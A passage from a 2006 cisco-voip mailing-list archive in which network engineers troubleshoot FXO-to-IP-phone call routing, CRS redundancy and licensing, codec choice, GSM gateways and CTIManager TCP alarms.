ccm-manager config server 10.96.3.11
ccm-manager config

When you call the number, do you get dial-tone, busy
signal, ??  
Dial Tone.

Do you see the voice-port on the router
connect or show any activity at all? (show voice call
summ). 
FXOLS_ONHOOK -> FXOLS_RINGING -> FXOLS_PROCEEDING (with a vtsp state of
S_DIGIT_COLLECT)

Can you place outbound calls out this port / endpoint?
Yes.

--- IT <it at cimgroup.com> wrote:

> I have the same problem, and I configured the
> attendant DN, but still no
> calls come through.
> I have a TAC case open, but they seem to think that
> the analog line need
> to "pass" the calling parties number...
> SBC/AT&T tells me that the analog lines do not pass
> this info.
> Any ideas?
> 
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On
> Behalf Of Ryan Ratliff
> Sent: Monday, February 27, 2006 3:05 PM
> To: James Grace
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] need for incoming fxo to
> fwd to IP phone 
> 
> With H.323 configure connection plar.  With MGCP
> configure the  
> attendant dn.
> 
> -Ryan
> 
> On Feb 27, 2006, at 5:55 PM, James Grace wrote:
> 
> How do I get and fxo port to forward to a ext on a
> ip phone.    We  
> have 1 analog line the will have in and out call  
> but the incoming  
> calls need to ring and an ip phone
> 
> 
> 
> James D. Grace
> 
> CCNP CCNA MCSE MCDBA
> 
> Sr. System Engineer / Professional Svc.
> 
> Digitel Corporation
> 
> 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


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From erickbe at yahoo.com  Mon Feb 27 19:47:06 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Mon Feb 27 19:47:15 2006
Subject: [cisco-voip] need for incoming fxo to fwd to IP phone 
In-Reply-To: <B487D4C1FE6D04439061018C6EBC109B02B19F5E@exchange.cimgroup.com>
Message-ID: <20060228004707.96788.qmail@web34303.mail.mud.yahoo.com>

On the gateway, while you get dial tone do ..

show voice call stat 
 or 
show call act voice brief

and what is the dial-peer id being used?

Can you post the matching dial-peer from the router
config? 

or just post your dial-peer portion of the config for
now.

--- IT <it at cimgroup.com> wrote:

> See my answers below:
> 
> 
> How is your voice-port configured, and on CCM side
> was
> the MGCP endpoint (gateway port) reset after changes
> made? 
> Loop start with no battery-reversal. Yes, it was
> reset.
> 
>  Calling Search Space set right on MGCP endpoint
> in CCM? 
> Yes.
> 
> Port direction set to both directions or
> something else?  Both directions
> 
> On router/gateway, do you have the ccm-manager
> config
> commands?
> ccm-manager fallback-mgcp
> ccm-manager mgcp
> ccm-manager music-on-hold
> ccm-manager config server 10.96.3.11
> ccm-manager config
> 
> When you call the number, do you get dial-tone, busy
> signal, ??  
> Dial Tone.
> 
> Do you see the voice-port on the router
> connect or show any activity at all? (show voice
> call
> summ). 
> FXOLS_ONHOOK -> FXOLS_RINGING -> FXOLS_PROCEEDING
> (with a vtsp state of
> S_DIGIT_COLLECT)
> 
> Can you place outbound calls out this port /
> endpoint?
> Yes.
> 
> --- IT <it at cimgroup.com> wrote:
> 
> > I have the same problem, and I configured the
> > attendant DN, but still no
> > calls come through.
> > I have a TAC case open, but they seem to think
> that
> > the analog line need
> > to "pass" the calling parties number...
> > SBC/AT&T tells me that the analog lines do not
> pass
> > this info.
> > Any ideas?
> > 
> > -----Original Message-----
> > From: cisco-voip-bounces at puck.nether.net
> > [mailto:cisco-voip-bounces at puck.nether.net] On
> > Behalf Of Ryan Ratliff
> > Sent: Monday, February 27, 2006 3:05 PM
> > To: James Grace
> > Cc: cisco-voip at puck.nether.net
> > Subject: Re: [cisco-voip] need for incoming fxo to
> > fwd to IP phone 
> > 
> > With H.323 configure connection plar.  With MGCP
> > configure the  
> > attendant dn.
> > 
> > -Ryan
> > 
> > On Feb 27, 2006, at 5:55 PM, James Grace wrote:
> > 
> > How do I get and fxo port to forward to a ext on a
> > ip phone.    We  
> > have 1 analog line the will have in and out call  
> > but the incoming  
> > calls need to ring and an ip phone
> > 
> > 
> > 
> > James D. Grace
> > 
> > CCNP CCNA MCSE MCDBA
> > 
> > Sr. System Engineer / Professional Svc.
> > 
> > Digitel Corporation
> > 
> > 
> > 
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> http://mail.yahoo.com 
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From kthorngr at cisco.com  Mon Feb 27 20:27:10 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Mon Feb 27 20:26:58 2006
Subject: [cisco-voip] tone on hold over Intercluster trunk
In-Reply-To: <00b201c63be8$be6bb8e0$30196883@cfs.uoguelph.ca>
References: <00b201c63be8$be6bb8e0$30196883@cfs.uoguelph.ca>
Message-ID: <e8f4b5def564dccfe69266de265b3bca@cisco.com>

Sounds like you need to change the CallManager service parameter "Send  
H225 User Info Message" to "'H225 Info for Call Progress Tone".

Kevin
On Feb 27, 2006, at 4:57 PM, Lelio Fulgenzi wrote:

> I can't seem to get tone-on-hold working across my intercluster trunk.  
> I know this was brought up recently, but I'm not sure if that was the  
> same problem I was having. I also don't know what the solution was if  
> there was one.
> ?
> ?
> ----------------------------------------------------------------------- 
> ---------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> Sanity First : Number of days with fewer than
> 50 messages in my inbox at the end of the day:?????????  
> 7_______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From lelio at uoguelph.ca  Mon Feb 27 21:22:20 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Mon Feb 27 21:22:28 2006
Subject: [cisco-voip] independent network tests/reports
Message-ID: <021c01c63c0d$cd931e10$ca01a8c0@deadfish>

not sure if anyone has seen this, but thought i would share....

http://www.miercom.com/?url=reports/

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.     Network Analyst (CCS)
University of Guelph     Guelph, Ontario     N1G 2W1
(519) 824-4120 x56354     (519) 767-1060 FAX 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
Sanity First : Number of days with less than
50 messages in my inbox at the end of the day:          7
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From ciscozest at gmail.com  Tue Feb 28 04:12:56 2006
From: ciscozest at gmail.com (Robin H)
Date: Tue Feb 28 04:13:02 2006
Subject: [cisco-voip] CRS 3.5.1
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE177A@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE177A@VISHNU.wesd.org>
Message-ID: <f99cc3f60602280112v12fcb1fah5ecb6ce212c147e0@mail.gmail.com>

I looked at IPCCx SRND and saw a single point of failure where
Publisher is as DC Directory. I kept thinking how to optimize the
usage on both CCM servers.
I have tried to setup the ICD application on both Pub and SUB servers.
When I use same CTI port/RP, the JTAPI subsystem went to Partial
Service on the second server.
When I use different profile between the first and second CRA server,
it worked based on call forwarding method at CTI RP. With this, the
primary ICD service is at Subscriber and secondary service is at
Publisher. Looks like this is very useful to handle overflow calls to
the first server and so far I didn;t enccounter any problem. Any of
you guys have tried this method as well? Just want to confirm if this
kind of setup is ok for live environment.

thanks,
Robin


On 2/28/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
> For the most redundancy you will want separate CRA (CRS, IPCCx, whatever
> they are calling it these days) servers and upgrade to 4.x.  4.x has the
> clustering ability and off box from the CMs is the only way to get true
> redundancy from the CM cluster.
>
> Just my 2 cents.
>
> Scott
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Kevin Thorngren
> Sent: Monday, February 27, 2006 4:55 AM
> To: Robin H
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] CRS 3.5.1
>
> What you are configuring is redundancy only in the event of CTI Manager
>
> service failure.  There are some things you will need to configure in
> CallManager to complete this portion of the configuration.  I would
> suggest reading the high availability section of the IPCC Express SRND,
>
> found here: http://www.cisco.com/go/srnd
>
> The SRND also describes how redundancy works and the limitations  There
>
> is a section that describes what you need to do for CRS server
> redundancy as it is not automatic in 3.5.  Basically you will create a
> mirror image of the CRS server to use in an offline server in case of
> failure.  The expectation for this option is that the CRS server is
> running on a standalone server.
>
> There are also some limitations if the Publisher goes down DC Directory
>
> is being used.  This URL provides steps to configure redundant LDAP
> URL.
> http://www.cisco.com/en/US/products/sw/custcosw/ps1846/
> products_tech_note09186a00804b4982.shtml
>
> Kevin
>
> On Feb 27, 2006, at 1:52 AM, Robin H wrote:
>
> > I have ICD application based on CRA 3.5.1 and installed it in
> > Pubslisher server. I read a documentation that we need to put both
> > publisher and subscriber IP to provide redundancy. With this info, i
> > have put both publisher and subscriber ip in the JTAPI and RMJTAPI
> > setup page. But I only installed and setup the application on
> > Publisher server (coresident) and nothing at Subscriber server. When
> > the Publisher server down, the ICD application was also failed. Anyway
> > to prevent this? Should I install and setup CRA application on
> > Subscriber server as well? Please send me reference page if any.Thanks
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>


From ciscozest at gmail.com  Tue Feb 28 04:24:47 2006
From: ciscozest at gmail.com (Robin H)
Date: Tue Feb 28 04:24:50 2006
Subject: [cisco-voip] update license on CRA 3.5.1
Message-ID: <f99cc3f60602280124k56d87347i73903306c72f2f95@mail.gmail.com>

I have two IVR servers with two licenses (10 agent phone license
each). I accidentally put both of license files into one of the server
and its total license shown as 20 agent phone. I have removed one of
the license file again, and then click "update license" in the License
Update Utility. The system prompted that the number of agent/licence
is less that previous one and it still maintain the number of license
as 20 agent phone. Have tried to reboot the server as well but the
number is still shown 20. How can we force the CRA system update this
license based on actual license file again? thanks


From mmilanov at sezampro.yu  Tue Feb 28 04:42:17 2006
From: mmilanov at sezampro.yu (Mladen Milanoviæ)
Date: Tue Feb 28 04:42:28 2006
Subject: [cisco-voip] IPCCX 3.5 & 4.0: G.711 or G.729
Message-ID: <20060228-10421776-b54@fronta.sezampro.yu>

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From pwalenta at wi.rr.com  Tue Feb 28 08:45:12 2006
From: pwalenta at wi.rr.com (pwalenta@wi.rr.com)
Date: Tue Feb 28 08:45:16 2006
Subject: [cisco-voip] IPCCX 3.5 & 4.0: G.711 or G.729
In-Reply-To: <20060228-10421776-b54@fronta.sezampro.yu>
References: <20060228-10421776-b54@fronta.sezampro.yu>
Message-ID: <fdd888e0e13.e13fdd888e0@rdc-kc.rr.com>

The only real benefit in my mind is that everything is g.729 compressed
audio from the get-go.

I consider it a far better thing to build it g.711 and use transcoders
as I didn't think the g.729 coming right from CRS sounded that good.

----- Original Message -----
From: Mladen Milanovi? <mmilanov at sezampro.yu>
Date: Tuesday, February 28, 2006 3:42 am
Subject: [cisco-voip] IPCCX 3.5 & 4.0: G.711 or G.729
To: cisco-usergroup-ipccexpress at yahoogroups.com, cisco-voip at puck.nether.net

<P>Hi Group,</P>
<P>as you know CRS may be instaled as a G.711 or G.729 system. Until now
I have experiance only with G.711 installation.</P>
<P>I have several questions:</P>
<P>1. What is the benefit of G.729 CRS installation ?</P>
<P>2. What is the drawbacks if any ?</P>
<P>3. Did anyone have some experiances with this deploymet ?</P>
<P>4. What is a scenario where G.729 should be deployed ?</P>
<P>&nbsp;</P>
<P>Thanks.</P>
<P>Mladen</P>



From pwalenta at wi.rr.com  Tue Feb 28 08:49:33 2006
From: pwalenta at wi.rr.com (pwalenta@wi.rr.com)
Date: Tue Feb 28 08:49:36 2006
Subject: [cisco-voip] independent network tests/reports
In-Reply-To: <021c01c63c0d$cd931e10$ca01a8c0@deadfish>
References: <021c01c63c0d$cd931e10$ca01a8c0@deadfish>
Message-ID: <fe90d35f66dc.66dcfe90d35f@rdc-kc.rr.com>

Cisco's new voice management package is in there with the Qovia sensor.

It's improved over ITEM, but I still think it has a long way to go.

----- Original Message -----
From: Lelio Fulgenzi <lelio at uoguelph.ca>
Date: Monday, February 27, 2006 8:23 pm
Subject: [cisco-voip] independent network tests/reports
To: cisco-voip at puck.nether.net

> not sure if anyone has seen this, but thought i would share....
> 
> http://www.miercom.com/?url=reports/
> 
> --------------------------------------------------------------------
> ------------
> Lelio Fulgenzi, B.A.     Network Analyst (CCS)
> University of Guelph     Guelph, Ontario     N1G 2W1
> (519) 824-4120 x56354     (519) 767-1060 FAX 
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
> Sanity First : Number of days with less than
> 50 messages in my inbox at the end of the day:          7

From lelio at uoguelph.ca  Tue Feb 28 08:52:33 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Tue Feb 28 08:52:57 2006
Subject: [cisco-voip] independent network tests/reports
References: <021c01c63c0d$cd931e10$ca01a8c0@deadfish>
	<fe90d35f66dc.66dcfe90d35f@rdc-kc.rr.com>
Message-ID: <00a301c63c6e$4629a000$30196883@cfs.uoguelph.ca>

Actually, the VPT pages are what brought me to that site originally!

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
Sanity First : Number of days with fewer than
50 messages in my inbox at the end of the day:          7
  ----- Original Message ----- 
  From: pwalenta at wi.rr.com 
  To: Lelio Fulgenzi 
  Cc: cisco-voip at puck.nether.net 
  Sent: Tuesday, February 28, 2006 8:49 AM
  Subject: Re: [cisco-voip] independent network tests/reports


  Cisco's new voice management package is in there with the Qovia sensor.

  It's improved over ITEM, but I still think it has a long way to go.

  ----- Original Message -----
  From: Lelio Fulgenzi <lelio at uoguelph.ca>
  Date: Monday, February 27, 2006 8:23 pm
  Subject: [cisco-voip] independent network tests/reports
  To: cisco-voip at puck.nether.net

  > not sure if anyone has seen this, but thought i would share....
  > 
  > http://www.miercom.com/?url=reports/
  > 
  > --------------------------------------------------------------------
  > ------------
  > Lelio Fulgenzi, B.A.     Network Analyst (CCS)
  > University of Guelph     Guelph, Ontario     N1G 2W1
  > (519) 824-4120 x56354     (519) 767-1060 FAX 
  > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
  > Sanity First : Number of days with less than
  > 50 messages in my inbox at the end of the day:          7
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From tim.reimers at asheville.k12.nc.us  Tue Feb 28 08:56:32 2006
From: tim.reimers at asheville.k12.nc.us (Tim Reimers)
Date: Tue Feb 28 08:56:41 2006
Subject: [cisco-voip] GSM gateways??
Message-ID: <050944EE48FF384F9C663F7048C47DA703327944@webmail.asheville.k12.nc.us>



hi folks--

Does anyone out there use any type of cellular gateway to route calls to
the local cell providers such that those calls are then "cell to cell"??

I'm looking to find a device that will take up to 5 simultaneous calls
to certain Nxx and send those to a gateway with 5 cell phones, or
something..

The plan being to get calls made from the school district going to
principals/etc to go out for free by being 'cell to cell' calls.

Hopefully I can then train the principals to call in that way too...
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From Matt.Slaga at us.didata.com  Tue Feb 28 09:01:29 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Tue Feb 28 09:01:58 2006
Subject: [cisco-voip] GSM gateways??
Message-ID: <C1FE15183DA37645BC0633BC604E44F0010BC6F2@USNAEXCH.na.didata.local>

I have configured these overseas in areas where toll charges are
incurred between land lines and cellular.
 
Nokia make a product called the premicell

http://www.europe.nokia.com/nokia/0,,2696,00.html

Also, Vierling make some more robust, scalable stuff and have just
announced an IP to GSM product:

http://www.vierling.de/www_vierling/gsm_gateways_overview-en_135_131_6_f
..htm?query=

These gateways allow you to input how many minutes per SIM so load
balancing and minute counting can occur.

Matt 


________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tim Reimers
Sent: Tuesday, February 28, 2006 8:57 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] GSM gateways??





hi folks-- 

Does anyone out there use any type of cellular gateway to route calls to
the local cell providers such that those calls are then "cell to cell"??

I'm looking to find a device that will take up to 5 simultaneous calls
to certain Nxx and send those to a gateway with 5 cell phones, or
something..

The plan being to get calls made from the school district going to
principals/etc to go out for free by being 'cell to cell' calls.

Hopefully I can then train the principals to call in that way too... 




-----------------------------------------
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This e-mail communication and any attachments may contain
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From tim.reimers at asheville.k12.nc.us  Tue Feb 28 09:05:12 2006
From: tim.reimers at asheville.k12.nc.us (Tim Reimers)
Date: Tue Feb 28 09:05:20 2006
Subject: [cisco-voip] GSM gateways??
Message-ID: <050944EE48FF384F9C663F7048C47DA703327951@webmail.asheville.k12.nc.us>

I've noticed in Google that they seem to be more prevalent in Europe--
 
I do need to check with Verizon and ensure that we can legally use one-
our salesperson seems to be terminally confused once the conversation
gets past 
"how many minutes do you need today"   ;-)
 
Tim

________________________________

From: Matt Slaga (US) [mailto:Matt.Slaga at us.didata.com] 
Sent: Tuesday, February 28, 2006 9:01 AM
To: Tim Reimers; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] GSM gateways??


I have configured these overseas in areas where toll charges are
incurred between land lines and cellular.
 
Nokia make a product called the premicell

http://www.europe.nokia.com/nokia/0,,2696,00.html

Also, Vierling make some more robust, scalable stuff and have just
announced an IP to GSM product:

http://www.vierling.de/www_vierling/gsm_gateways_overview-en_135_131_6_f
.htm?query=

These gateways allow you to input how many minutes per SIM so load
balancing and minute counting can occur.

Matt 


________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tim Reimers
Sent: Tuesday, February 28, 2006 8:57 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] GSM gateways??





hi folks-- 

Does anyone out there use any type of cellular gateway to route calls to
the local cell providers such that those calls are then "cell to cell"??

I'm looking to find a device that will take up to 5 simultaneous calls
to certain Nxx and send those to a gateway with 5 cell phones, or
something..

The plan being to get calls made from the school district going to
principals/etc to go out for free by being 'cell to cell' calls.

Hopefully I can then train the principals to call in that way too... 

________________________________

Disclaimer:

This e-mail communication and any attachments may contain
confidential and privileged information and is for use by the
designated addressee(s) named above only. If you are not the
intended addressee, you are hereby notified that you have received
this communication in error and that any use or reproduction of
this email or its contents is strictly prohibited and may be
unlawful. If you have received this communication in error, please
notify us immediately by replying to this message and deleting it
from your computer. Thank you. 

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From Matt.Slaga at us.didata.com  Tue Feb 28 09:18:56 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Tue Feb 28 09:19:40 2006
Subject: [cisco-voip] GSM gateways??
Message-ID: <C1FE15183DA37645BC0633BC604E44F0010BC754@USNAEXCH.na.didata.local>

Yes, you will never see the benefit to cost savings in the US.  Only in
Europe and Carribean (among others) where a fixed connection charge is
incurred fixed to connect you from a land line to a cellular network.  
 

 
________________________________

From: Tim Reimers [mailto:tim.reimers at asheville.k12.nc.us] 
Sent: Tuesday, February 28, 2006 9:05 AM
To: Matt Slaga (US); cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] GSM gateways??


I've noticed in Google that they seem to be more prevalent in Europe--
 
I do need to check with Verizon and ensure that we can legally use one-
our salesperson seems to be terminally confused once the conversation
gets past 
"how many minutes do you need today"   ;-)
 
Tim

________________________________

From: Matt Slaga (US) [mailto:Matt.Slaga at us.didata.com] 
Sent: Tuesday, February 28, 2006 9:01 AM
To: Tim Reimers; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] GSM gateways??


I have configured these overseas in areas where toll charges are
incurred between land lines and cellular.
 
Nokia make a product called the premicell

http://www.europe.nokia.com/nokia/0,,2696,00.html

Also, Vierling make some more robust, scalable stuff and have just
announced an IP to GSM product:

http://www.vierling.de/www_vierling/gsm_gateways_overview-en_135_131_6_f
..htm?query=

These gateways allow you to input how many minutes per SIM so load
balancing and minute counting can occur.

Matt 


________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tim Reimers
Sent: Tuesday, February 28, 2006 8:57 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] GSM gateways??





hi folks-- 

Does anyone out there use any type of cellular gateway to route calls to
the local cell providers such that those calls are then "cell to cell"??

I'm looking to find a device that will take up to 5 simultaneous calls
to certain Nxx and send those to a gateway with 5 cell phones, or
something..

The plan being to get calls made from the school district going to
principals/etc to go out for free by being 'cell to cell' calls.

Hopefully I can then train the principals to call in that way too... 

________________________________

Disclaimer:

This e-mail communication and any attachments may contain
confidential and privileged information and is for use by the
designated addressee(s) named above only. If you are not the
intended addressee, you are hereby notified that you have received
this communication in error and that any use or reproduction of
this email or its contents is strictly prohibited and may be
unlawful. If you have received this communication in error, please
notify us immediately by replying to this message and deleting it
from your computer. Thank you. 




-----------------------------------------
Disclaimer:

This e-mail communication and any attachments may contain
confidential and privileged information and is for use by the
designated addressee(s) named above only.  If you are not the
intended addressee, you are hereby notified that you have received
this communication in error and that any use or reproduction of
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unlawful.  If you have received this communication in error, please
notify us immediately by replying to this message and deleting it
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From Nick.Kassel at Charles-Stanley.co.uk  Tue Feb 28 09:29:31 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Tue Feb 28 09:29:45 2006
Subject: [cisco-voip] GSM gateways??
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC648263@CSEXCH01.charles-stanley.co.uk>

We have 2 Quescom IP 400 gateways to handle all our GSM to GSM calls.

 

http://www.quescom.com/QuesCom400_IPGSM_gateway.asp?R=2   

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tim Reimers
Sent: Tuesday, February 28, 2006 1:57 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] GSM gateways??

 

 

hi folks-- 

Does anyone out there use any type of cellular gateway to route calls to
the local cell providers such that those calls are then "cell to cell"??

I'm looking to find a device that will take up to 5 simultaneous calls
to certain Nxx and send those to a gateway with 5 cell phones, or
something..

The plan being to get calls made from the school district going to
principals/etc to go out for free by being 'cell to cell' calls.

Hopefully I can then train the principals to call in that way too... 

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From rratliff at cisco.com  Tue Feb 28 09:32:48 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Tue Feb 28 09:32:45 2006
Subject: [cisco-voip] need for incoming fxo to fwd to IP phone 
In-Reply-To: <B487D4C1FE6D04439061018C6EBC109B02B19F5E@exchange.cimgroup.com>
References: <B487D4C1FE6D04439061018C6EBC109B02B19F5E@exchange.cimgroup.com>
Message-ID: <70048D78-F130-4A39-936B-7373DF514FD5@cisco.com>

If you are getting dial tone it sounds like your call is not hitting  
an MGCP controlled dial-peer.

-Ryan

On Feb 27, 2006, at 7:38 PM, IT wrote:

See my answers below:


How is your voice-port configured, and on CCM side was
the MGCP endpoint (gateway port) reset after changes
made?
Loop start with no battery-reversal. Yes, it was reset.

  Calling Search Space set right on MGCP endpoint
in CCM?
Yes.

Port direction set to both directions or
something else?  Both directions

On router/gateway, do you have the ccm-manager config
commands?
ccm-manager fallback-mgcp
ccm-manager mgcp
ccm-manager music-on-hold
ccm-manager config server 10.96.3.11
ccm-manager config

When you call the number, do you get dial-tone, busy
signal, ??
Dial Tone.

Do you see the voice-port on the router
connect or show any activity at all? (show voice call
summ).
FXOLS_ONHOOK -> FXOLS_RINGING -> FXOLS_PROCEEDING (with a vtsp state of
S_DIGIT_COLLECT)

Can you place outbound calls out this port / endpoint?
Yes.

--- IT <it at cimgroup.com> wrote:

> I have the same problem, and I configured the
> attendant DN, but still no
> calls come through.
> I have a TAC case open, but they seem to think that
> the analog line need
> to "pass" the calling parties number...
> SBC/AT&T tells me that the analog lines do not pass
> this info.
> Any ideas?
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On
> Behalf Of Ryan Ratliff
> Sent: Monday, February 27, 2006 3:05 PM
> To: James Grace
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] need for incoming fxo to
> fwd to IP phone
>
> With H.323 configure connection plar.  With MGCP
> configure the
> attendant dn.
>
> -Ryan
>
> On Feb 27, 2006, at 5:55 PM, James Grace wrote:
>
> How do I get and fxo port to forward to a ext on a
> ip phone.    We
> have 1 analog line the will have in and out call
> but the incoming
> calls need to ring and an ip phone
>
>
>
> James D. Grace
>
> CCNP CCNA MCSE MCDBA
>
> Sr. System Engineer / Professional Svc.
>
> Digitel Corporation
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>


__________________________________________________
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From tg3859 at gmail.com  Tue Feb 28 09:34:40 2006
From: tg3859 at gmail.com (Terry Glass)
Date: Tue Feb 28 09:34:42 2006
Subject: [cisco-voip] 737730 Alarms kCtiMYTCPSendError
Message-ID: <12297ad0602280634o5fd9e3e3u8bdd45de00882952@mail.gmail.com>

Have received over 73,7730 of the following alarms on a Publisher running
CCM 3.3(3)sr4a
EventID: 0xE0000003(3)
Error: kCtiMYTCPSendError - MYTCP_Send: send error
Explanation: TCP socket connection has been broken
Recommended Action: Network error may have occurred. If problem persists,
contact TAC

Any ideas where to start looking in the network?
Thanks
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From wsisk at cisco.com  Tue Feb 28 10:09:50 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Tue Feb 28 10:10:01 2006
Subject: [cisco-voip] 737730 Alarms kCtiMYTCPSendError
In-Reply-To: <12297ad0602280634o5fd9e3e3u8bdd45de00882952@mail.gmail.com>
References: <12297ad0602280634o5fd9e3e3u8bdd45de00882952@mail.gmail.com>
Message-ID: <440467BE.8010807@cisco.com>

this is coming from CTIManager, so it would be caused by one of your 
endpoints establishing a TCP session to CTI Manager.  The primary 
communication to CTIManager from endpoints occurs on 
endpoint:random<->CMServer:TCP:2748

There are a couple of other connections for change notification and SDL 
links, but those should be to either local loopback address or other 
CallManager Nodes.  TCPView from sysinternals will show you all the 
connections to/from ctimanager.

Looks like the template for that message is:

Error: kCtiMYTCPSendError - MYTCP_Send: send error.
  App ID: Cisco CTIManager
  Cluster ID: MYCM-Cluster
  Node ID: MYCM04
  CTI Application ID: JTAPI[192]@CM01
  Process ID: 1308
  Process Name: CtiHandler
Explanation: TCP socket connection has been broken.
Recommended Action: Network error may have occurred. If problem 
persists, contact TAC..

All hits I see says this usually coincides with high CPU utilization by 
CTIManager.  Also looks like most folks restart CTIManager to get around 
the issue.  However, I do not see a good clear root cause and permanent fix.

/Wes


Terry Glass wrote:
> Have received over 73,7730 of the following alarms on a Publisher 
> running CCM 3.3(3)sr4a
> EventID: 0xE0000003(3)
> Error: kCtiMYTCPSendError - MYTCP_Send: send error
> Explanation: TCP socket connection has been broken
> Recommended Action: Network error may have occurred. If problem 
> persists, contact TAC
>  
> Any ideas where to start looking in the network?
> Thanks
>  
>  
>  
>  
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From CORTIZ at broward.org  Tue Feb 28 10:25:43 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Tue Feb 28 10:25:53 2006
Subject: [cisco-voip] independent network tests/reports
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E80@MREXVS01.bc.broward.cty>

What is everyone out there using for managing your VOIP infrastructure
that they would like to recommend?  I'm looking to purchase one....

Carlos

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of
pwalenta at wi.rr.com
Sent: Tuesday, February 28, 2006 8:50 AM
To: Lelio Fulgenzi
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] independent network tests/reports

Cisco's new voice management package is in there with the Qovia sensor.

It's improved over ITEM, but I still think it has a long way to go.

----- Original Message -----
From: Lelio Fulgenzi <lelio at uoguelph.ca>
Date: Monday, February 27, 2006 8:23 pm
Subject: [cisco-voip] independent network tests/reports
To: cisco-voip at puck.nether.net

> not sure if anyone has seen this, but thought i would share....
> 
> http://www.miercom.com/?url=reports/
> 
> --------------------------------------------------------------------
> ------------
